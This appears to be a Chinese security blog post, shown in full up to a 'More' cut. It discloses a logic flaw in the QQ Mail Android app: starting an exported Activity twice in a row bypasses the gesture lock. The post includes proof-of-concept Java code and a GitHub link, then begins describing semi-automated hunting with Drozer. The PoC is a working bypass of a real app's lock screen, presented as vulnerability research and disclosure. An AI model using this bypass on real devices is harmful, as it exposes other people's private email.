对于一个Android程序来说,没有一个统一的入口,任何导出的Activity都可以作为程序的入口。所以,如果在写程序的时候,没有考虑到每一个入口进入时的状态,就有可能出现逻辑上的漏洞。
比如QQ邮箱的这个,连续启动两次某些Activity就可以绕过手势密码。最初把PoC代码和描述都提交到了TSRC,结果那边回复说这是by design的,之后的沟通不了了之。
POC
@Click
void doEnterCalendarActivity() {
(new AccessQQMailTask("com.tencent.qqmail.calendar.fragment.CalendarFragmentActivity")).execute();
finish();
}
private class AccessQQMailTask extends AsyncTask<Void, Void, Void> {
private String target_activity_name;
public AccessQQMailTask(String activity_name) {
super();
target_activity_name = activity_name;
}
@Override
protected void onPreExecute() {
}
void start_activity() {
Intent intent = new Intent();
intent.setClassName(tencent_mail_package_name, target_activity_name);
startActivity(intent);
}
@Override
protected Void doInBackground(Void... params) {
try {
start_activity();
Thread.sleep(500);
start_activity();
} catch (Exception e) {
Log.e(TAG, e.getMessage());
}
return null;
}
@Override
protected void onPostExecute(Void result) {
}
}
完整代码见: https://github.com/TheCjw/Old-Android-POCs/tree/master/QQMailPatternLockBypass
半自动Fuzz
结合Drozer,并针对导出Activity进行一些逆向分析,可以轻松找到类似的漏洞。这类漏洞并不适合Fuzz,因为很大程度上涉及到了业务逻辑,初始化环境和检测结果免不了人工干预,但我们当初还是进行了一些尝试。大体的步骤是这样的: More